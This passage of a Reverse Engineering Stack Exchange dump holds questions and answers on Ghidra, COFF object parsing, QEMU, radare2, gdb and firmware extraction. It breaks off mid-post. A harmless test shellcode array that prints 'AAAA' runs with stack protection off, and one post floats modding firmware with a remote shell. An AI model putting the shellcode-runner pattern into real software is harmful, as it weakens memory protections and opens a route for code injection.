have to do in detail to avoid the data garbage and just find real functions (like in source code)? Or did I compile the source code wrong? &lt;/p&gt;&#xA;" OwnerUserId="31021" LastEditorUserId="31021" LastEditDate="2020-02-07T12:52:31.810" LastActivityDate="2020-02-07T20:54:19.627" Title="Extracting functions of .obj file (compiled by myself with Visual Studio 19) --&gt; extracts wrong data" Tags="|binary-analysis|c++|radare2|functions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23212" PostTypeId="1" CreationDate="2020-02-07T12:55:37.493" Score="2" ViewCount="2900" Body="&lt;p&gt;I'm kind of new to assembly and &lt;code&gt;ghidra&lt;/code&gt; as a tool. I have a question about the meaning of this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mov dword PTR [ESP] =&amp;gt; local_70 , eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get we are moving &lt;code&gt;eax&lt;/code&gt; into the left side but I'm not sure what the &lt;code&gt;[ESP]=&amp;gt;local_70&lt;/code&gt; chunk is as I haven't come across that before. I think the =&gt; confuses me the most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="31022" LastEditorUserId="4658" LastEditDate="2020-02-08T22:54:39.923" LastActivityDate="2020-02-12T01:56:35.883" Title="Understanding ghidra disassembly" Tags="|disassembly|assembly|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23213" PostTypeId="1" CreationDate="2020-02-07T17:18:12.087" Score="4" ViewCount="163" Body="&lt;p&gt;I'm studying how QEMU translates native basic blocks and runs them. As far as I understand, it reads native basic blocks then retranslates them, but I wonder how it can deal with exceptions inside, so I run the following program:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// pgfault.c&#xA;int main() {&#xA;    __asm__(&#xA;        &quot;xor rax, rax\n\t&quot;&#xA;        &quot;mov rbx, [rax]\n\t&quot;&#xA;        &quot;xor rcx, rbx\n\t&quot;&#xA;        &quot;add rax, rcx\n\t&quot;&#xA;        );&#xA;}&#xA;&#xA;// compile&#xA;x86_64-w64-mingw32-gcc pgfault.c -masm=intel -o pgfault.exe&#xA;&#xA;// and run in PANDA/QEMU&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Indeed, I get the trace:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// first translation block&#xA;0x401510           xor rax, rax    ; first instruction of main&#xA;; second instruction generates a page fault&#xA;&#xA;// second translation block (KiPageFault in ntoskrnl.exe)&#xA;0xfffff80026e4600  push rbx&#xA;0xfffff80026e4601  sub rbp, 0x158&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second instructions generates a page fault, then the translation block contains only the first instruction. How can QEMU/PANDA knows that ahead of time (i.e. at translation step)?&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2020-02-08T02:02:07.980" LastActivityDate="2020-02-08T02:02:07.980" Title="QEMU Translation block" Tags="|qemu|emulation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23214" PostTypeId="2" ParentId="23212" CreationDate="2020-02-07T17:23:55.030" Score="2" Body="&lt;p&gt;I've disassembled one of my programs and it seems that &lt;code&gt;mem/reg =&amp;gt; value&lt;/code&gt; just means that &lt;code&gt;value&lt;/code&gt; was moved to &lt;code&gt;mem/reg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your example, &lt;code&gt;mov dword PTR [ESP] =&amp;gt; local_70 , eax&lt;/code&gt; is just &lt;code&gt;mov dword PTR [ESP], eax&lt;/code&gt;, but &lt;code&gt;Ghidra&lt;/code&gt; knows that the value at &lt;code&gt;rax&lt;/code&gt; is &lt;code&gt;local_70&lt;/code&gt; (it was probably set few lines above that instruction), so it displays this information for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; When in doubt what some particular instruction means, you can right click on that instruction and select &lt;code&gt;Instruction info...&lt;/code&gt; option to know what it really does.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-02-07T17:23:55.030" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23215" PostTypeId="2" ParentId="23211" CreationDate="2020-02-07T19:14:26.893" Score="2" Body="&lt;p&gt;from your paste above I presume&lt;br&gt;&#xA;You Want to get this data from the object files &lt;strong&gt;( *.obj )&lt;/strong&gt; and not from the compiled and linked executable &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if yes then COFF (component object file format ) is pretty well documented &#xA;all you need to parse  is COFF SYMBOL TABLE &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use dumpbin /SYMBOLS to look for all functions &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\xx\source\repos\dumpfuncs&amp;gt;dumpbin /symbols dumpfuncs.obj | grep -i (&#xA;&#xA;Microsoft (R) COFF/PE Dumper Version 14.16.27035.0&#xA;&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;010 00000000 SECT5  notype ()    External     | ?CmdLn@@YAPADXZ (char * __cdecl CmdLn(void))&#xA;011 00000010 SECT5  notype ()    External     | ?FileName@@YAPADXZ (char * __cdecl FileName(void))&#xA;012 00000020 SECT5  notype ()    External     | _main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Raw Parsing of an obj file with  a hex dumper (xxd.exe)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -v &#xA;xxd v1.11, 8 jun 2013 by Juergen Weigert et al.  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; has little endian switch -e   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;COFF_SYMBOL_TABLE is at offset 8 in COFF HEADER followed by number of symbols   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd.exe -e -l 8 -g 4 -s 8 dumpfuncs.obj&#xA;00000008: 000048c0 00000015                    .H......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;keep dumping 0x12 bytes for each symbol and their aux records if any  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x48c0 -l 18 dumpfuncs.obj&#xA;000048c0: 40 63 6f 6d 70 2e 69 64 9b 69 05 01 ff ff 00 00 03 00  @comp.id.i........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x48d2 -l 18 dumpfuncs.obj&#xA;000048d2: 40 66 65 61 74 2e 30 30 91 01 00 80 ff ff 00 00 03 00  @feat.00..........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 3,4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x48e4 -l 18 dumpfuncs.obj&#xA;000048e4: 2e 64 72 65 63 74 76 65 00 00 00 00 01 00 00 00 03 01  .drectve..........&#xA;&#xA;:\&amp;gt;echo one auxillary record follows (last byte is 01) do not count as symbol&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x48f6 -l 18 dumpfuncs.obj&#xA;000048f6: 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ..................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 5,6&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x4908 -l 18 dumpfuncs.obj&#xA;00004908: 2e 64 65 62 75 67 24 53 00 00 00 00 02 00 00 00 03 01  .debug$S..........&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x491a -l 18 dumpfuncs.obj&#xA;0000491a: 50 45 00 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00  PE................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 7,8&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x492c -l 18 dumpfuncs.obj&#xA;0000492c: 2e 64 65 62 75 67 24 54 00 00 00 00 03 00 00 00 03 01  .debug$T..........&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x493e -l 18 dumpfuncs.obj&#xA;0000493e: 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  L.................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 9,0xa&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x4950 -l 18 dumpfuncs.obj&#xA;00004950: 2e 72 64 61 74 61 00 00 00 00 00 00 04 00 00 00 03 01  .rdata............&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x4962 -l 18 dumpfuncs.obj&#xA;00004962: 0e 00 00 00 00 00 00 00 ad 41 9d c2 00 00 00 00 00 00  .........A........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 0xb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x4974 -l 18 dumpfuncs.obj&#xA;00004974: 24 53 47 38 39 31 38 32 00 00 00 00 04 00 00 00 03 00  $SG89182..........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 0xc,----0x13&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x4986 -l 18 dumpfuncs.obj&#xA;00004986: 2e 74 65 78 74 24 6d 6e 00 00 00 00 05 00 00 00 03 01  .text$mn..........&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x4998 -l 18 dumpfuncs.obj&#xA;00004998: 43 00 00 00 06 00 00 00 7d 5c d3 64 00 00 00 00 00 00  C.......}\.d......&#xA;&#xA;the six relocations in section #5 whose size of rawdata is 43 &#xA;the start and end address of section Raw Data is in COFF_HEADER&#xA;&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x49aa -l 18 dumpfuncs.obj&#xA;000049aa: 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 02 00  ..................&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x49bc -l 18 dumpfuncs.obj&#xA;000049bc: 00 00 00 00 1d 00 00 00 00 00 00 00 00 00 00 00 02 00  ..................&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x49ce -l 18 dumpfuncs.obj&#xA;000049ce: 00 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 02 00  ....2.............&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x49e0 -l 18 dumpfuncs.obj&#xA;000049e0: 00 00 00 00 48 00 00 00 00 00 00 00 05 00 20 00 02 00  ....H......... ...&#xA;&#xA;:\&amp;gt;echo the 20 denotes a function in section #5 name of function is at 0x48 from string table&#xA;&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x49f2 -l 18 dumpfuncs.obj&#xA;000049f2: 00 00 00 00 58 00 00 00 10 00 00 00 05 00 20 00 02 00  ....X......... ...&#xA;:\&amp;gt;echo funcname @58 in section 5 10 bytes from start&#xA;&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x4a04 -l 18 dumpfuncs.obj&#xA;00004a04: 5f 6d 61 69 6e 00 00 00 20 00 00 00 05 00 20 00 02 00  _main... ..... ...&#xA;:\&amp;gt;echo main() starts at offset 20 insection #5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SYMBOL 0x14,0x15&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -c 18 -s 0x4a16 -l 18 dumpfuncs.obj&#xA;00004a16: 2e 63 68 6b 73 36 34 00 00 00 00 00 06 00 00 00 03 01  .chks64...........&#xA;:\&amp;gt;xxd -g 1 -c 18 -s 0x4a28 -l 18 dumpfuncs.obj&#xA;00004a28: 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0.................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:&gt;echo 0x15 symbols and thier aux records are over now string table starts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -e -g 4 -s 0x4a3a -l 4 dumpfuncs.obj&#xA;00004a3a: 0000006b                             k...&#xA;&#xA;:\&amp;gt;echo size of string table 0x6b&#xA;&#xA;:\&amp;gt;xxd -e -g 1 -s 0x4a3a -l 0x6b dumpfuncs.obj&#xA;00004a3a: 6b 00 00 00 5f 5f 69 6d 70 5f 5f 47 65 74 43 6f  k...__imp__GetCo&#xA;00004a4a: 6d 6d 61 6e 64 4c 69 6e 65 41 40 30 00 5f 5f 69  mmandLineA@0.__i&#xA;00004a5a: 6d 70 5f 5f 45 78 69 74 50 72 6f 63 65 73 73 40  mp__ExitProcess@&#xA;00004a6a: 34 00 5f 5f 69 6d 70 5f 5f 4d 65 73 73 61 67 65  4.__imp__Message&#xA;00004a7a: 42 6f 78 41 40 31 36 00 3f 43 6d 64 4c 6e 40 40  BoxA@16.?CmdLn@@&#xA;00004a8a: 59 41 50 41 44 58 5a 00 3f 46 69 6c 65 4e 61 6d  YAPADXZ.?FileNam&#xA;00004a9a: 65 40 40 59 41 50 41 44 58 5a 00                 e@@YAPADXZ.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Demangled Name of Function At offset 0x48 from string table start&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -s 0x4a82 -l 0x10 dumpfuncs.obj&#xA;00004a82: 3f 43 6d 64 4c 6e 40 40 59 41 50 41 44 58 5a 00  ?CmdLn@@YAPADXZ.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unmangled name &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;vc++filt&#xA;?CmdLn@@YAPADXZ&#xA;char * __cdecl CmdLn(void)&#xA;^C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Section #5 Header and Raw Data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 4 -c 4 -e  -s 0xb4 -l 0x28 dumpfuncs.obj&#xA;000000b4: 7865742e  .tex&#xA;000000b8: 6e6d2474  t$mn&#xA;000000bc: 00000000  ....&#xA;000000c0: 00000000  ....&#xA;000000c4: 00000043  C...&#xA;000000c8: 00004811  .H..&#xA;000000cc: 00004854  TH..&#xA;000000d0: 00000000  ....&#xA;000000d4: 00000006  ....&#xA;000000d8: 60500020   .P`&#xA;&#xA;:\&amp;gt;xxd -g 1 -s 0x4811 -l 0x43 dumpfuncs.obj&#xA;00004811: 55 8b ec ff 15 00 00 00 00 5d c3 cc cc cc cc cc  U........]......&#xA;00004821: 55 8b ec b8 00 00 00 00 5d c3 cc cc cc cc cc cc  U.......].......&#xA;00004831: 55 8b ec 6a 00 e8 00 00 00 00 50 e8 00 00 00 00  U..j......P.....&#xA;00004841: 50 6a 00 ff 15 00 00 00 00 6a 00 ff 15 00 00 00  Pj.......j......&#xA;00004851: 00 5d c3                                         .].&#xA;&#xA;:\&amp;gt;echo notice the push ebp prolog&#xA;notice the push ebp prolog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Raw Data Dis Assembled&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;dumpbin /disasm dumpfuncs.obj&#xA;&#xA;&#xA;?CmdLn@@YAPADXZ (char * __cdecl CmdLn(void)):&#xA;  00000000: 55                 push        ebp&#xA;  00000001: 8B EC              mov         ebp,esp&#xA;  00000003: FF 15 00 00 00 00  call        dword ptr [__imp__GetCommandLineA@0]&#xA;  00000009: 5D                 pop         ebp&#xA;  0000000A: C3                 ret&#xA;  0000000B: CC                 int         3&#xA;  0000000C: CC                 int         3&#xA;  0000000D: CC                 int         3&#xA;  0000000E: CC                 int         3&#xA;  0000000F: CC                 int         3&#xA;?FileName@@YAPADXZ (char * __cdecl FileName(void)):&#xA;  00000010: 55                 push        ebp&#xA;  00000011: 8B EC              mov         ebp,esp&#xA;  00000013: B8 00 00 00 00     mov         eax,offset $SG89182&#xA;  00000018: 5D                 pop         ebp&#xA;  00000019: C3                 ret&#xA;  0000001A: CC                 int         3&#xA;  0000001B: CC                 int         3&#xA;  0000001C: CC                 int         3&#xA;  0000001D: CC                 int         3&#xA;  0000001E: CC                 int         3&#xA;  0000001F: CC                 int         3&#xA;_main:&#xA;  00000020: 55                 push        ebp&#xA;  00000021: 8B EC              mov         ebp,esp&#xA;  00000023: 6A 00              push        0&#xA;  00000025: E8 00 00 00 00     call        ?FileName@@YAPADXZ&#xA;  0000002A: 50                 push        eax&#xA;  0000002B: E8 00 00 00 00     call        ?CmdLn@@YAPADXZ&#xA;  00000030: 50                 push        eax&#xA;  00000031: 6A 00              push        0&#xA;  00000033: FF 15 00 00 00 00  call        dword ptr [__imp__MessageBoxA@16]&#xA;  00000039: 6A 00              push        0&#xA;  0000003B: FF 15 00 00 00 00  call        dword ptr [__imp__ExitProcess@4]&#xA;  00000041: 5D                 pop         ebp&#xA;  00000042: C3                 ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the source used for compiling and linking with vs 2017&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma comment(lib,&quot;user32.lib&quot;)&#xA;#pragma comment(lib,&quot;kernel32.lib&quot;)&#xA;&#xA;__declspec ( noinline ) LPSTR CmdLn(void) {&#xA;    return GetCommandLineA();&#xA;}&#xA;__declspec ( noinline ) LPSTR FileName (void) {&#xA;    return __FILE__;&#xA;}&#xA;int main(void) &#xA;{&#xA;    MessageBoxA(NULL,CmdLn(),FileName(), MB_OK);&#xA;    ExitProcess(NULL);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /analyze /EHsc /nologo /Od %1.cpp /link /release /subsystem:windows /entry:main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-02-07T20:54:19.627" LastActivityDate="2020-02-07T20:54:19.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23216" PostTypeId="1" CreationDate="2020-02-07T23:53:44.453" Score="2" ViewCount="620" Body="&lt;p&gt;I am blackboxing an android app to write an API for it. Many of the HTTP requests sent include a mysterious header with the name &lt;code&gt;X-Goog-Spatula&lt;/code&gt;. &lt;strong&gt;If I do not include this structure, the request is not successful due to 'being unauthenticated'&lt;/strong&gt;, however I can find &lt;em&gt;no&lt;/em&gt; information on the internet as to what it is or what it does, and I feel uncomfortable about adding the existing values I've recorded so far to the public client API, because I do not want to ship an API that could either expire in the future, or accidentally expose secrets that I shouldn't. Likewise for the same reason I won't be including actual data here (Unless anyone here can provide good arguments as to why it &lt;em&gt;should&lt;/em&gt; be included).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspection of the structure so far as concluded that it is a base64-encoded protobuf structure, which contains several mystery values, that are as-yet unknown. An outline of the structure is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;string&quot;: {&#xA;    &amp;lt;name of app&amp;gt;,&#xA;    &amp;lt;20 byte base64-encoded string&amp;gt;&#xA;  },&#xA;  &quot;string&quot;: {&#xA;    &amp;lt;32 byte string&amp;gt;,&#xA;  },&#xA;  &quot;variant&quot;: &amp;lt;9 byte number&amp;gt;,&#xA;  &quot;variant&quot;: &amp;lt;9 byte number&amp;gt;,&#xA;  &quot;string&quot;: {&#xA;    &amp;lt;89 byte string&amp;gt;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I stated earlier, I can find &lt;strong&gt;no references on the internet to it&lt;/strong&gt;, aside from these (all on &lt;a href=&quot;https://github.com/search?l=HTML&amp;amp;q=spatula+goog&amp;amp;type=Code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/googleapis/google-api-go-client/blob/7f2cf9d6ec65884391850645915bc3752fc61db2/servicecontrol/v1/servicecontrol-gen.go#L764&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; reference to it in google client code in Go.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A reference in the &lt;code&gt;Request&lt;/code&gt; headers section of people's logged HTTP interactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone have any documentation on this, an idea of what it is, or alternatively, what can I do to find out what it is?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31026" LastActivityDate="2020-02-07T23:53:44.453" Title="What is the header 'X-Goog-Spatula'?" Tags="|android|unpacking|deobfuscation|networking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23217" PostTypeId="2" ParentId="8724" CreationDate="2020-02-08T08:20:54.673" Score="3" Body="&lt;p&gt;You can define gdb function to break on first argument of libc_star_main. The first si/ni is to load libc itself. Put it in your .gdbinit file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define bmain&#xA;    si&#xA;    ni&#xA;    b __libc_start_main&#xA;    c&#xA;    b *($rdi)&#xA;    c&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31028" LastActivityDate="2020-02-08T08:20:54.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23218" PostTypeId="2" ParentId="23208" CreationDate="2020-02-08T19:26:12.577" Score="1" Body="&lt;p&gt;The answer depends on what you mean by &quot;Command Line Interface&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pass a filename to the ida64 executable on command line and it will be opened. Some of the switches (like &lt;code&gt;-A&lt;/code&gt;, &lt;code&gt;-T&lt;/code&gt;, &lt;code&gt;-L&lt;/code&gt;) also work, but for example &lt;code&gt;-B&lt;/code&gt; and &lt;code&gt;-S&lt;/code&gt; are disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the text-mode &lt;code&gt;idat&lt;/code&gt; executable, you need the full version (Pro or Starter).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-08T19:26:12.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23222" PostTypeId="1" CreationDate="2020-02-09T22:01:43.157" Score="0" ViewCount="1944" Body="&lt;p&gt;I want to get more information from this dump I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=42095249658483515063&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s000.tinyupload.com/index.php?file_id=42095249658483515063&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk dump.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;56368         0xDC30          U-Boot version string, &quot;U-Boot 1.1.4-2  (Jun 10 2016)&quot;&#xA;56400         0xDC50          CRC32 polynomial table, big endian&#xA;65536         0x10000         uImage header, header size: 64 bytes, header CRC: 0x4FD6C064, created: 2016-10-12 09:53:26, image size: 3729430 bytes, Data Address: 0x80060000, Entry Point: 0x80064CE0, data CRC: 0x6B3A6FD3, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;runtime&quot;&#xA;65600         0x10040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12767476 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already used &lt;code&gt;binwalk -Me dump.bin&lt;/code&gt; and got &lt;code&gt;_10040.extracted/cpio-root/&lt;/code&gt; with the main content. But it looks somehow incomplete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading around in the files eg &lt;code&gt;init&lt;/code&gt; I see, that there are multiple mtd &quot;partitions&quot; which would be nice to separate them from the dump. I hope that it will help me to understand the firmware and how update process works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I found in the hexdump some PRIVATE information about the device like device_pass, device_wpapass and so on, which I replaced all with a 1. But it is also niceto  know where this information's are stored on the device to see how they are queried. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem for me is to separate all partitions/information from this dump. At least I want to see, if it is possible to disconnect the &lt;a href=&quot;https://github.com/openv/openv/wiki/Vitoconnect-100&quot; rel=&quot;nofollow noreferrer&quot;&gt;device&lt;/a&gt; from the cloud and only use it locally - but it looks like the firmware builds only a connection between the interface (connected to the heater) and the cloud server - so all logic is on the cloud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it is possible to mod the firmware with a remote shell or make a MITM possible to investigate on runtime state.&lt;/p&gt;&#xA;" OwnerUserId="31045" LastEditorUserId="31045" LastEditDate="2020-02-16T02:47:37.367" LastActivityDate="2020-02-18T09:49:55.003" Title="Extract/Repack EEPROM Dump" Tags="|firmware-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23224" PostTypeId="1" AcceptedAnswerId="23228" CreationDate="2020-02-10T03:53:12.560" Score="2" ViewCount="678" Body="&lt;p&gt;Using &lt;code&gt;radare2&lt;/code&gt;, I am reverse engineering a custom language interpreter.  It stores compiled functions as a list of pointers to language primitives.  I would like to &lt;code&gt;seek&lt;/code&gt; to these locations, but typing in the hex addresses is very frustrating.  I can't seem to find any syntax for saying &quot;seek to the address stored at the current location&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g., say I am looking at the following in visual mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; UNKNOWN XREFS from entry0 @ 0x400382, 0x400384&#xA;; UNKNOWN XREF from entry0 @ +0x82&#xA;;-- section..text:&#xA;0x004000b0      .qword 0x00000000004002f3 ; aav.0x004002f3    ; [01] -r-x section size 736 named .text&#xA;0x004000b8      .qword 0x0000000000000064&#xA;0x004000c0      .qword 0x0000000000400301 ; aav.0x00400301&#xA;0x004000c8      .qword 0x000000000040032e ; aav.0x0040032e&#xA;0x004000d0      .qword 0x000000000040030c ; aav.0x0040030c&#xA;. . .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;current location&quot; is at &lt;code&gt;0x004000b0&lt;/code&gt;, and it stores the value &lt;code&gt;0x4002f3&lt;/code&gt;, which is where I'd like to seek.  For now, I have to type &lt;code&gt;g&lt;/code&gt; followed by reading and typing out, or selecting and pasting, the address &lt;code&gt;0x4002f3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some efficient way to say &quot;seek to the value stored at &lt;code&gt;$$&lt;/code&gt;&quot;?&lt;/p&gt;&#xA;" OwnerUserId="31053" LastActivityDate="2020-02-10T22:28:58.903" Title="Seek to value stored in memory in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23225" PostTypeId="1" AcceptedAnswerId="23226" CreationDate="2020-02-10T06:46:19.983" Score="1" ViewCount="221" Body="&lt;p&gt;I wrote a small program in assembly which is supposed to print &quot;AAAA&quot;. It works fine when I run it directly, but when I run it as a shellcode in a c program, it doesn't work. Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the assembly code:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3oQA2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3oQA2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I compile and execute the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char shellcode[] = {0x31,0xc0,0xb0,0x04,0x31,0xdb,0xb3,0x01,0x68,0x41,0x41,0x41,0x41,0x89,0xe1,0x31,0xd2,0xb2,0x04,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xb3,0x01,0xcd,0x80};&#xA;int main(){&#xA;        (*(void(*)())shellcode)();&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$gcc -g -Wall -fno-stack-protector -z execstack 